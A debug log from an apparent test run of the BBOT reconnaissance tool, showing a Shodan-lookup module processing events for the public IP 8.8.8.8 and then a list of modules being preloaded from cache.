'in-scope', 'target'}) passed post-check +2026-02-27 21:46:57,230 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Handling IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'in-scope', 'target'}) +2026-02-27 21:46:57,232 [DEBUG] urllib3.connectionpool connectionpool.py:1049 Starting new HTTPS connection (1): api.shodan.io:443 +2026-02-27 21:46:57,323 [DEBUG] urllib3.connectionpool connectionpool.py:544 https://api.shodan.io:443 "GET /shodan/host/8.8.8.8?key=deadbeef HTTP/1.1" 200 None +2026-02-27 21:46:57,333 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Finished handling IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'in-scope', 'target'}) +2026-02-27 21:46:57,334 [DEBUG] bbot.modules._scan_ingress base.py:1563 ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) passed post-check +2026-02-27 21:46:57,335 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) +2026-02-27 21:46:57,336 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) +2026-02-27 21:46:57,336 [DEBUG] bbot.modules._scan_ingress base.py:1563 OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) passed post-check +2026-02-27 21:46:57,336 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) +2026-02-27 21:46:57,337 [DEBUG] bbot.modules.dnsresolve base.py:1563 Not intercepting ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) because postcheck failed (it did not meet custom filter criteria: event does not have host attribute) +2026-02-27 21:46:57,338 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) +2026-02-27 21:46:57,338 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) in-scope because its main host matches the scan target +2026-02-27 21:46:57,339 [DEBUG] bbot.modules._scan_egress base.py:1563 ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) passed post-check +2026-02-27 21:46:57,339 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) +2026-02-27 21:46:57,339 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) +2026-02-27 21:46:57,340 [DEBUG] bbot.modules._scan_ingress base.py:1563 OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check +2026-02-27 21:46:57,340 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) +2026-02-27 21:46:57,341 [DEBUG] bbot.modules.dnsresolve base.py:1563 OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) passed post-check +2026-02-27 21:46:57,342 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) +2026-02-27 21:46:57,342 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) in-scope because its main host matches the scan target +2026-02-27 21:46:57,343 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) +2026-02-27 21:46:57,343 [DEBUG] bbot.modules.output.python base.py:1563 Queueing ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) because precheck succeeded +2026-02-27 21:46:57,344 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) +2026-02-27 21:46:57,344 [DEBUG] bbot.modules._scan_ingress base.py:1563 TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HSTS'}", module=shodan_enterprise, tags={'web-technology', 'in-scope', 'security'}) passed post-check +2026-02-27 21:46:57,345 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HSTS'}", module=shodan_enterprise, tags={'web-technology', 'in-scope', 'security'}) +2026-02-27 21:46:57,345 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) +2026-02-27 21:46:57,345 [DEBUG] bbot.modules.dnsresolve base.py:1563 OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check +2026-02-27 21:46:57,346 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) +2026-02-27 21:46:57,347 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HSTS'}", module=shodan_enterprise, tags={'web-technology', 'in-scope', 'security'}) in-scope because its main host matches the scan target +2026-02-27 21:46:57,347 [DEBUG] bbot.modules._scan_egress base.py:1563 OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) passed post-check +2026-02-27 21:46:57,347 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) +2026-02-27 21:46:57,348 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HSTS'}", module=shodan_enterprise, tags={'web-technology', 'in-scope', 'security'}) +2026-02-27 21:46:57,349 [DEBUG] bbot.modules._scan_ingress base.py:1563 TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HTTP/3'}", module=shodan_enterprise, tags={'web-technology', 'in-scope', 'miscellaneous'}) passed post-check +2026-02-27 21:46:57,349 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HTTP/3'}", module=shodan_enterprise, tags={'web-technology', 'in-scope', 'miscellaneous'}) +2026-02-27 21:46:57,349 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) +2026-02-27 21:46:57,350 [DEBUG] bbot.modules.dnsresolve base.py:1563 TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HSTS'}", module=shodan_enterprise, tags={'web-technology', 'in-scope', 'security'}) passed post-check +2026-02-27 21:46:57,350 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HSTS'}", module=shodan_enterprise, tags={'web-technology', 'in-scope', 'security'}) +2026-02-27 21:46:57,351 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HTTP/3'}", module=shodan_enterprise, tags={'web-technology', 'in-scope', 'miscellaneous'}) in-scope because its main host matches the scan target +2026-02-27 21:46:57,351 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) +2026-02-27 21:46:57,352 [DEBUG] bbot.modules.output.python base.py:1563 Queueing OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) because precheck succeeded +2026-02-27 21:46:57,353 [DEBUG] bbot.modules._scan_egress base.py:1563 OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check +2026-02-27 21:46:57,353 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) +2026-02-27 21:46:57,353 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HTTP/3'}", module=shodan_enterprise, tags={'web-technology', 'in-scope', 'miscellaneous'}) +2026-02-27 21:46:57,354 [DEBUG] bbot.modules._scan_ingress base.py:1563 OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check +2026-02-27 21:46:57,354 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) +2026-02-27 21:46:57,355 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HSTS'}", module=shodan_enterprise, tags={'web-technology', 'in-scope', 'security'}) +2026-02-27 21:46:57,355 [DEBUG] bbot.modules.dnsresolve base.py:1563 TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HTTP/3'}", module=shodan_enterprise, tags={'web-technology', 'in-scope', 'miscellaneous'}) passed post-check +2026-02-27 21:46:57,355 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HTTP/3'}", module=shodan_enterprise, tags={'web-technology', 'in-scope', 'miscellaneous'}) +2026-02-27 21:46:57,356 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) in-scope because its main host matches the scan target +2026-02-27 21:46:57,356 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) +2026-02-27 21:46:57,357 [DEBUG] bbot.modules.output.python base.py:1563 Queueing OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) because precheck succeeded +2026-02-27 21:46:57,357 [DEBUG] bbot.modules._scan_egress base.py:1563 TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HSTS'}", module=shodan_enterprise, tags={'web-technology', 'in-scope', 'security'}) passed post-check +2026-02-27 21:46:57,358 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HSTS'}", module=shodan_enterprise, tags={'web-technology', 'in-scope', 'security'}) +2026-02-27 21:46:57,358 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) +2026-02-27 21:46:57,359 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HTTP/3'}", module=shodan_enterprise, tags={'web-technology', 'in-scope', 'miscellaneous'}) +2026-02-27 21:46:57,359 [DEBUG] bbot.modules.dnsresolve base.py:1563 OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check +2026-02-27 21:46:57,360 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) +2026-02-27 21:46:57,360 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HSTS'}", module=shodan_enterprise, tags={'web-technology', 'in-scope', 'security'}) +2026-02-27 21:46:57,360 [DEBUG] bbot.modules.output.python base.py:1563 Queueing TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HSTS'}", module=shodan_enterprise, tags={'web-technology', 'in-scope', 'security'}) because precheck succeeded +2026-02-27 21:46:57,361 [DEBUG] bbot.modules._scan_egress base.py:1563 TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HTTP/3'}", module=shodan_enterprise, tags={'web-technology', 'in-scope', 'miscellaneous'}) passed post-check +2026-02-27 21:46:57,361 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HTTP/3'}", module=shodan_enterprise, tags={'web-technology', 'in-scope', 'miscellaneous'}) +2026-02-27 21:46:57,362 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) +2026-02-27 21:46:57,362 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HTTP/3'}", module=shodan_enterprise, tags={'web-technology', 'in-scope', 'miscellaneous'}) +2026-02-27 21:46:57,363 [DEBUG] bbot.modules.output.python base.py:1563 Queueing TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HTTP/3'}", module=shodan_enterprise, tags={'web-technology', 'in-scope', 'miscellaneous'}) because precheck succeeded +2026-02-27 21:46:57,363 [DEBUG] bbot.modules._scan_egress base.py:1563 OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check +2026-02-27 21:46:57,363 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) +2026-02-27 21:46:57,364 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) +2026-02-27 21:46:57,364 [DEBUG] bbot.modules.output.python base.py:1563 Queueing OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) because precheck succeeded +2026-02-27 21:46:57,435 [DEBUG] bbot.modules.output.python base.py:1563 Got ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) from shodan_enterprise +2026-02-27 21:46:57,437 [DEBUG] bbot.modules.output.python base.py:1563 ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) passed post-check +2026-02-27 21:46:57,437 [DEBUG] bbot.modules.output.python base.py:1563 Got OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) from shodan_enterprise +2026-02-27 21:46:57,438 [DEBUG] bbot.modules.output.python base.py:1563 OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) passed post-check +2026-02-27 21:46:57,438 [DEBUG] bbot.modules.output.python base.py:1563 Got OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) from shodan_enterprise +2026-02-27 21:46:57,438 [DEBUG] bbot.modules.output.python base.py:1563 OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check +2026-02-27 21:46:57,439 [DEBUG] bbot.modules.output.python base.py:1563 Got TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HSTS'}", module=shodan_enterprise, tags={'web-technology', 'in-scope', 'security'}) from shodan_enterprise +2026-02-27 21:46:57,440 [DEBUG] bbot.modules.output.python base.py:1563 TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HSTS'}", module=shodan_enterprise, tags={'web-technology', 'in-scope', 'security'}) passed post-check +2026-02-27 21:46:57,440 [DEBUG] bbot.modules.output.python base.py:1563 Got TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HTTP/3'}", module=shodan_enterprise, tags={'web-technology', 'in-scope', 'miscellaneous'}) from shodan_enterprise +2026-02-27 21:46:57,441 [DEBUG] bbot.modules.output.python base.py:1563 TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HTTP/3'}", module=shodan_enterprise, tags={'web-technology', 'in-scope', 'miscellaneous'}) passed post-check +2026-02-27 21:46:57,441 [DEBUG] bbot.modules.output.python base.py:1563 Got OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) from shodan_enterprise +2026-02-27 21:46:57,442 [DEBUG] bbot.modules.output.python base.py:1563 OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check +2026-02-27 21:46:57,442 [INFO] bbot.scanner scanner.py:790 Finishing scan +2026-02-27 21:46:57,443 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Queueing FINISHED("FINISHED", module=None, tags={'shodan-enterprise'}) because its type is FINISHED +2026-02-27 21:46:57,444 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Queueing FINISHED("FINISHED", module=None, tags={'unarchive'}) because its type is FINISHED +2026-02-27 21:46:57,444 [DEBUG] bbot.modules.output.python base.py:1563 Queueing FINISHED("FINISHED", module=None, tags={'python'}) because its type is FINISHED +2026-02-27 21:46:57,445 [VERBOSE] bbot.scanner scanner.py:1181 Completed finish() +2026-02-27 21:46:57,446 [DEBUG] bbot.scanner scanner.py:1176 Setting scan status to FINISHING +2026-02-27 21:46:57,446 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Got FINISHED("FINISHED", module=None, tags={'shodan-enterprise'}) from None +2026-02-27 21:46:57,447 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Got FINISHED("FINISHED", module=None, tags={'unarchive'}) from None +2026-02-27 21:46:57,546 [DEBUG] bbot.modules.output.python base.py:1563 Got FINISHED("FINISHED", module=None, tags={'python'}) from None +2026-02-27 21:46:57,547 [VERBOSE] bbot.scanner scanner.py:1181 Completed final finish() +2026-02-27 21:46:57,563 [DEBUG] bbot.scanner scanner.py:1176 Cancelling all scan tasks +2026-02-27 21:46:57,564 [DEBUG] bbot.scanner scanner.py:1176 Finished cancelling all scan tasks +2026-02-27 21:46:57,564 [DEBUG] bbot.scanner scanner.py:1176 Awaiting 42 tasks +2026-02-27 21:46:57,573 [DEBUG] bbot.scanner scanner.py:1176 Awaited 42 tasks +2026-02-27 21:46:57,574 [VERBOSE] bbot.core.dnshelper engine.py:334 EngineClient DNSHelper: shutting down... +2026-02-27 21:46:57,575 [DEBUG] bbot.scanner scanner.py:1176 Setting scan status to CLEANING_UP +2026-02-27 21:46:57,576 [VERBOSE] bbot.core.dnsengine engine.py:509 EngineServer DNSEngine got shutdown signal +2026-02-27 21:46:57,576 [VERBOSE] bbot.core.dnsengine engine.py:551 EngineServer DNSEngine: shutting down... +2026-02-27 21:46:57,577 [VERBOSE] bbot.core.dnsengine engine.py:564 EngineServer DNSEngine: finished shutting down +2026-02-27 21:46:57,694 [HUGESUCCESS] bbot.scanner scanner.py:1206 Scan testshodan_enterprise_test_x43wskr6h1 completed in 0 seconds with status FINISHED +2026-02-27 21:46:57,694 [DEBUG] bbot base.py:113 Finished shodan_enterprise module test +2026-02-27 21:46:57,697 [DEBUG] asyncio selector_events.py:54 Using selector: KqueueSelector +2026-02-27 21:46:57,699 [CRITICAL] bbot test_module_shodan_enterprise.py:23 SCAN("{'id': 'SCAN:681606d7dfddb8b9b86be58bb36c13bbfa1440e1', 'name': 'testshodan_ente...", module=TARGET, tags=set()) +2026-02-27 21:46:57,701 [CRITICAL] bbot test_module_shodan_enterprise.py:25 +2026-02-27 21:48:12,412 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/output +2026-02-27 21:48:12,423 [DEBUG] bbot.module_loader modules.py:152 Preloading web_parameters from cache +2026-02-27 21:48:12,424 [DEBUG] bbot.module_loader modules.py:152 Preloading discord from cache +2026-02-27 21:48:12,426 [DEBUG] bbot.module_loader modules.py:152 Preloading emails from cache +2026-02-27 21:48:12,427 [DEBUG] bbot.module_loader modules.py:152 Preloading teams from cache +2026-02-27 21:48:12,428 [DEBUG] bbot.module_loader modules.py:152 Preloading txt from cache +2026-02-27 21:48:12,429 [DEBUG] bbot.module_loader modules.py:152 Preloading neo4j from cache +2026-02-27 21:48:12,431 [DEBUG] bbot.module_loader modules.py:152 Preloading asset_inventory from cache +2026-02-27 21:48:12,432 [DEBUG] bbot.module_loader modules.py:152 Preloading sqlite from cache +2026-02-27 21:48:12,432 [DEBUG] bbot.module_loader modules.py:152 Preloading web_report from cache +2026-02-27 21:48:12,433 [DEBUG] bbot.module_loader modules.py:152 Preloading http from cache +2026-02-27 21:48:12,435 [DEBUG] bbot.module_loader modules.py:152 Preloading csv from cache +2026-02-27 21:48:12,436 [DEBUG] bbot.module_loader modules.py:152 Preloading postgres from cache +2026-02-27 21:48:12,437 [DEBUG] bbot.module_loader modules.py:152 Preloading python from cache +2026-02-27 21:48:12,438 [DEBUG] bbot.module_loader modules.py:152 Preloading subdomains from cache +2026-02-27 21:48:12,439 [DEBUG] bbot.module_loader modules.py:152 Preloading stdout from cache +2026-02-27 21:48:12,440 [DEBUG] bbot.module_loader modules.py:152 Preloading nmap_xml from cache +2026-02-27 21:48:12,441 [DEBUG] bbot.module_loader modules.py:152 Preloading json from cache +2026-02-27 21:48:12,442 [DEBUG] bbot.module_loader modules.py:152 Preloading slack from cache +2026-02-27 21:48:12,444 [DEBUG] bbot.module_loader modules.py:152 Preloading splunk from cache +2026-02-27 21:48:12,446 [DEBUG] bbot.module_loader modules.py:152 Preloading mysql from cache +2026-02-27 21:48:12,447 [DEBUG] bbot.module_loader modules.py:152 Preloading websocket from cache +2026-02-27 21:48:12,448 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/templates +2026-02-27 21:48:12,449 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/report +2026-02-27 21:48:12,450 [DEBUG] bbot.module_loader modules.py:152 Preloading asn from cache +2026-02-27 21:48:12,450 [DEBUG] bbot.module_loader modules.py:152 Preloading affiliates from cache +2026-02-27 21:48:12,451 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/deadly +2026-02-27 21:48:12,452 [DEBUG] bbot.module_loader modules.py:152 Preloading legba from cache +2026-02-27 21:48:12,453 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules +2026-02-27 21:48:12,454 [DEBUG] bbot.module_loader modules.py:152 Preloading urlscan from cache +2026-02-27 21:48:12,455 [DEBUG] bbot.module_loader modules.py:152 Preloading jadx from cache +2026-02-27 21:48:12,456 [DEBUG] bbot.module_loader modules.py:152 Preloading trufflehog from cache +2026-02-27 21:48:12,457 [DEBUG] bbot.module_loader modules.py:152 Preloading host_header from cache +2026-02-27 21:48:12,458 [DEBUG] bbot.module_loader modules.py:152 Preloading securitytxt from cache +2026-02-27 21:48:12,459 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsdumpster from cache +2026-02-27 21:48:12,460 [DEBUG] bbot.module_loader modules.py:152 Preloading bevigil from cache +2026-02-27 21:48:12,461 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_google from cache +2026-02-27 21:48:12,462 [DEBUG] bbot.module_loader modules.py:152 Preloading git from cache +2026-02-27 21:48:12,463 [DEBUG] bbot.module_loader modules.py:152 Preloading azure_realm from cache +2026-02-27 21:48:12,464 [DEBUG] bbot.module_loader modules.py:152 Preloading extractous from cache +2026-02-27 21:48:12,469 [DEBUG] bbot.module_loader modules.py:152 Preloading credshed from cache +2026-02-27 21:48:12,470 [DEBUG] bbot.module_loader modules.py:152 Preloading fullhunt from cache +2026-02-27 21:48:12,471 [DEBUG] bbot.module_loader modules.py:152 Preloading social from cache +2026-02-27 21:48:12,472 [DEBUG] bbot.module_loader modules.py:152 Preloading pgp from cache +2026-02-27 21:48:12,474 [DEBUG] bbot.module_loader modules.py:152 Preloading azure_tenant from cache +2026-02-27 21:48:12,474 [DEBUG] bbot.module_loader modules.py:152 Preloading virustotal from cache +2026-02-27 21:48:12,475 [DEBUG] bbot.module_loader modules.py:152 Preloading vhost from cache +2026-02-27 21:48:12,476 [DEBUG] bbot.module_loader modules.py:152 Preloading shodan_enterprise from cache +2026-02-27 21:48:12,477 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsbrute from cache +2026-02-27 21:48:12,478 [DEBUG] bbot.module_loader modules.py:152 Preloading shodan_dns from cache +2026-02-27 21:48:12,479 [DEBUG] bbot.module_loader modules.py:152 Preloading ip2location from cache +2026-02-27 21:48:12,480 [DEBUG] bbot.module_loader modules.py:152 Preloading rapiddns from cache +2026-02-27 21:48:12,481 [DEBUG] bbot.module_loader modules.py:152 Preloading wpscan from cache +2026-02-27 21:48:12,482 [DEBUG] bbot.module_loader modules.py:152 Preloading dnscommonsrv from cache +2026-02-27 21:48:12,483 [DEBUG] bbot.module_loader modules.py:152 Preloading passivetotal from cache +2026-02-27 21:48:12,484 [DEBUG] bbot.module_loader modules.py:152 Preloading ntlm from cache +2026-02-27 21:48:12,485 [DEBUG] bbot.module_loader modules.py:152 Preloading trickest from cache +2026-02-27 21:48:12,486 [DEBUG] bbot.module_loader modules.py:152 Preloading google_playstore from cache +2026-02-27 21:48:12,486 [DEBUG] bbot.module_loader modules.py:152 Preloading github_usersearch from cache +2026-02-27 21:48:12,487 [DEBUG] bbot.module_loader modules.py:152 Preloading subdomainradar from cache +2026-02-27 21:48:12,488 [DEBUG] bbot.module_loader modules.py:152 Preloading dockerhub from cache +2026-02-27 21:48:12,489 [DEBUG] bbot.module_loader modules.py:152 Preloading medusa from cache +2026-02-27 21:48:12,491 [DEBUG] bbot.module_loader modules.py:152 Preloading digitorus from cache +2026-02-27 21:48:12,492 [DEBUG] bbot.module_loader modules.py:152 Preloading wafw00f from cache +2026-02-27 21:48:12,493 [DEBUG] bbot.module_loader modules.py:152 Preloading generic_ssrf from cache +2026-02-27 21:48:12,494 [DEBUG] bbot.module_loader modules.py:152 Preloading filedownload from cache +2026-02-27 21:48:12,501 [DEBUG] bbot.module_loader modules.py:152 Preloading chaos from cache +2026-02-27 21:48:12,503 [DEBUG] bbot.module_loader modules.py:152 Preloading httpx from cache +2026-02-27 21:48:12,505 [DEBUG] bbot.module_loader modules.py:152 Preloading baddns_zone from cache +2026-02-27 21:48:12,506 [DEBUG] bbot.module_loader modules.py:152 Preloading graphql_introspection from cache +2026-02-27 21:48:12,507 [DEBUG] bbot.module_loader modules.py:152 Preloading paramminer_headers from cache +2026-02-27 21:48:12,509 [DEBUG] bbot.module_loader modules.py:152 Preloading securitytrails from cache +2026-02-27 21:48:12,509 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_microsoft from cache +2026-02-27 21:48:12,510 [DEBUG] bbot.module_loader modules.py:152 Preloading viewdns from cache +2026-02-27 21:48:12,511 [DEBUG] bbot.module_loader modules.py:152 Preloading url_manipulation from cache +2026-02-27 21:48:12,512 [DEBUG] bbot.module_loader modules.py:152 Preloading ffuf_shortnames from cache +2026-02-27 21:48:12,514 [DEBUG] bbot.module_loader modules.py:152 Preloading censys_ip from cache +2026-02-27 21:48:12,515 [DEBUG] bbot.module_loader modules.py:152 Preloading builtwith from cache +2026-02-27 21:48:12,516 [DEBUG] bbot.module_loader modules.py:152 Preloading certspotter from cache +2026-02-27 21:48:12,517 [DEBUG] bbot.module_loader modules.py:152 Preloading sslcert from cache +2026-02-27 21:48:12,518 [DEBUG] bbot.module_loader modules.py:152 Preloading gitdumper from cache +2026-02-27 21:48:12,519 [DEBUG] bbot.module_loader modules.py:152 Preloading shodan_idb from cache +2026-02-27 21:48:12,520 [DEBUG] bbot.module_loader modules.py:152 Preloading hackertarget from cache +2026-02-27 21:48:12,521 [DEBUG] bbot.module_loader modules.py:152 Preloading c99 from cache +2026-02-27 21:48:12,522 [DEBUG] bbot.module_loader modules.py:152 Preloading newsletters from cache +2026-02-27 21:48:12,523 [DEBUG] bbot.module_loader modules.py:152 Preloading apkpure from cache +2026-02-27 21:48:12,524 [DEBUG] bbot.module_loader modules.py:152 Preloading crt from cache +2026-02-27 21:48:12,525 [DEBUG] bbot.module_loader modules.py:152 Preloading postman_download from cache +2026-02-27 21:48:12,526 [DEBUG] bbot.module_loader modules.py:152 Preloading hunt from cache +2026-02-27 21:48:12,526 [DEBUG] bbot.module_loader modules.py:152 Preloading ffuf from cache +2026-02-27 21:48:12,528 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsbrute_mutations from cache +2026-02-27 21:48:12,529 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_firebase from cache +2026-02-27 21:48:12,529 [DEBUG] bbot.module_loader modules.py:152 Preloading nuclei from cache +2026-02-27 21:48:12,531 [DEBUG] bbot.module_loader modules.py:152 Preloading censys_dns from cache +2026-02-27 21:48:12,533 [DEBUG] bbot.module_loader modules.py:152 Preloading retirejs from cache +2026-02-27 21:48:12,534 [DEBUG] bbot.module_loader modules.py:152 Preloading git_clone from cache +2026-02-27 21:48:12,535 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_amazon from cache +2026-02-27 21:48:12,535 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_digitalocean from cache +2026-02-27 21:48:12,536 [DEBUG] bbot.module_loader modules.py:152 Preloading skymem from cache +2026-02-27 21:48:12,537 [DEBUG] bbot.module_loader 